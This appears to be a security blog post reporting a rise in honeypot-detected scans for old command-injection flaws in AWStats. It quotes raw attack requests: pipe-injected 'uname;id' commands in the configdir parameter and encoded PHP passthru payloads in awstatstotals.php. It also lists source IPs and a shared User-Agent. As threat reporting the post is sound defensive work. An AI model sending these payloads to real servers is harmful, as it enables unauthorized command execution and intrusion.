Our daily web honeypot analysis has detected an increase in scanning looking for command injection flaws in the Awstats package. Here are example attacks from the logs:
GET /awstats/awstats.pl?configdir=|echo;echo%20YYYAAZ;uname;id;echo%20YYY;echo| HTTP/1.0GET /awstats/awstats.pl?configdir=|echo;echo%20YYYAAZ;uname;id;echo%20YYY;echo| HTTP/1.1GET /awstats/awstatstotals.php?sort=%7b%24%7bpassthru%28chr(105)%2echr(100)%29%7d%7d%7b%24%7bexit%28%29%7d%7d HTTP/1.0GET /awstats/awstatstotals.php?sort=%7b%24%7bpassthru%28chr(105)%2echr(100)%29%7d%7d%7b%24%7bexit%28%29%7d%7d HTTP/1.1GET /awstatstotals.php?sort=%7b%24%7bpassthru%28chr(105)%2echr(100)%29%7d%7d%7b%24%7bexit%28%29%7d%7d HTTP/1.0GET /awstatstotals.php?sort=%7b%24%7bpassthru%28chr(105)%2echr(100)%29%7d%7d%7b%24%7bexit%28%29%7d%7d HTTP/1.1GET /awstatstotals/awstatstotals.php?sort=%7b%24%7bpassthru%28chr(105)%2echr(100)%29%7d%7d%7b%24%7bexit%28%29%7d%7d HTTP/1.0GET /awstatstotals/awstatstotals.php?sort=%7b%24%7bpassthru%28chr(105)%2echr(100)%29%7d%7d%7b%24%7bexit%28%29%7d%7d HTTP/1.1GET /cgi-bin/awstats.pl?configdir=|echo;echo%20YYYAAZ;uname;id;;echo%20YYY;echo| HTTP/1.0GET /cgi-bin/awstats.pl?configdir=|echo;echo%20YYYAAZ;uname;id;;echo%20YYY;echo| HTTP/1.1GET /cgi-bin/awstats/awstats.pl?configdir=|echo;echo%20YYYAAZ;uname;id;echo%20YYY;echo| HTTP/1.0GET /cgi-bin/awstats/awstats.pl?configdir=|echo;echo%20YYYAAZ;uname;id;echo%20YYY;echo| HTTP/1.1GET /cgi-bin/stats/awstats.pl?configdir=|echo;echo%20YYYAAZ;uname;id;echo%20YYY;echo| HTTP/1.0GET /cgi-bin/stats/awstats.pl?configdir=|echo;echo%20YYYAAZ;uname;id;echo%20YYY;echo| HTTP/1.1GET /cgi/awstats/awstats.pl?configdir=|echo;echo%20YYYAAZ;uname;id;echo%20YYY;echo| HTTP/1.0GET /cgi/awstats/awstats.pl?configdir=|echo;echo%20YYYAAZ;uname;id;echo%20YYY;echo| HTTP/1.1GET /scgi-bin/awstats.pl?configdir=|echo;echo%20YYYAAZ;uname;id;echo%20YYY;echo| HTTP/1.0GET /scgi-bin/awstats.pl?configdir=|echo;echo%20YYYAAZ;uname;id;echo%20YYY;echo| HTTP/1.1GET /scgi-bin/awstats/awstats.pl?configdir=|echo;echo%20YYYAAZ;uname;id;echo%20YYY;echo| HTTP/1.0GET /scgi-bin/awstats/awstats.pl?configdir=|echo;echo%20YYYAAZ;uname;id;echo%20YYY;echo| HTTP/1.1GET /scgi-bin/stats/awstats.pl?configdir=|echo;echo%20YYYAAZ;uname;id;echo%20YYY;echo| HTTP/1.0GET /scgi-bin/stats/awstats.pl?configdir=|echo;echo%20YYYAAZ;uname;id;echo%20YYY;echo| HTTP/1.1GET /scgi/awstats/awstats.pl?configdir=|echo;echo%20YYYAAZ;uname;id;echo%20YYY;echo| HTTP/1.0GET /scgi/awstats/awstats.pl?configdir=|echo;echo%20YYYAAZ;uname;id;echo%20YYY;echo| HTTP/1.1GET /scripts/awstats.pl?configdir=|echo;echo%20YYYAAZ;uname;id;echo%20YYY;echo| HTTP/1.0GET /scripts/awstats.pl?configdir=|echo;echo%20YYYAAZ;uname;id;echo%20YYY;echo| HTTP/1.1GET /stat/awstatstotals.php?sort=%7b%24%7bpassthru%28chr(105)%2echr(100)%29%7d%7d%7b%24%7bexit%28%29%7d%7d HTTP/1.0GET /stat/awstatstotals.php?sort=%7b%24%7bpassthru%28chr(105)%2echr(100)%29%7d%7d%7b%24%7bexit%28%29%7d%7d HTTP/1.1GET /stats/awstats.pl?configdir=|echo;echo%20YYYAAZ;uname;id;echo%20YYY;echo| HTTP/1.0GET /stats/awstats.pl?configdir=|echo;echo%20YYYAAZ;uname;id;echo%20YYY;echo| HTTP/1.1
According to OSVDB - there are two different vulnerabilities that they are probing for:
Both of these vulnerability disclosures are old (2005 and 2008) so we are unsure why there is a sudden uptick in scanning. If you are running Awstats software, you should make sure you are updated: http://awstats.sourceforge.net/
The scanning came from 59 different IP address (a few are resolved to hostnames) -
114.32.226.22118.122.178.65118.97.50.11121.166.70.252122.255.96.164122.255.96.45151.1.183.216159.213.90.53162-119-162-69.reverse.lstn.net180.76.5.49180.76.5.91187.45.213.158190.40.2.40190.95.200.250200.175.53.196202.100.80.21202.28.37.63203.142.24.17211.144.82.8211.167.110.2212.252.120.11212.49.222.82212.92.13.110213.195.75.188219.94.144.230220.162.244.251220.179.64.2358.254.143.20458.254.202.10358.63.241.20959.108.108.10059.163.254.1861.19.45.11962.183.105.16462.225.155.9065.255.176.2667.55.95.13268.78.199.24769.162.119.16278.131.55.17280.248.214.10381.169.165.13881.92.159.19482.193.36.9882.228.250.16385.18.206.22885.88.195.3485.88.195.3587.242.99.16688.173.34.14488.40.179.24289-97-247-147.ip2.fastwebnet.it89.208.95.13093.84.116.21695.87.194.7byr09a.trigger.co.zamail.gymnaziumdc.czmail.ring.hupd5cdac.szokff01.ap.so-net.ne.jp
While there were a number of different source IP addresses used, all of the requests had the exact same User-Agent string:
Mozilla/5.0 (Windows NT 6.1; WOW64; rv:8.0) Gecko/20100101 Firefox/8.0.
This leads us to believe that the attack was carried about by the same source client.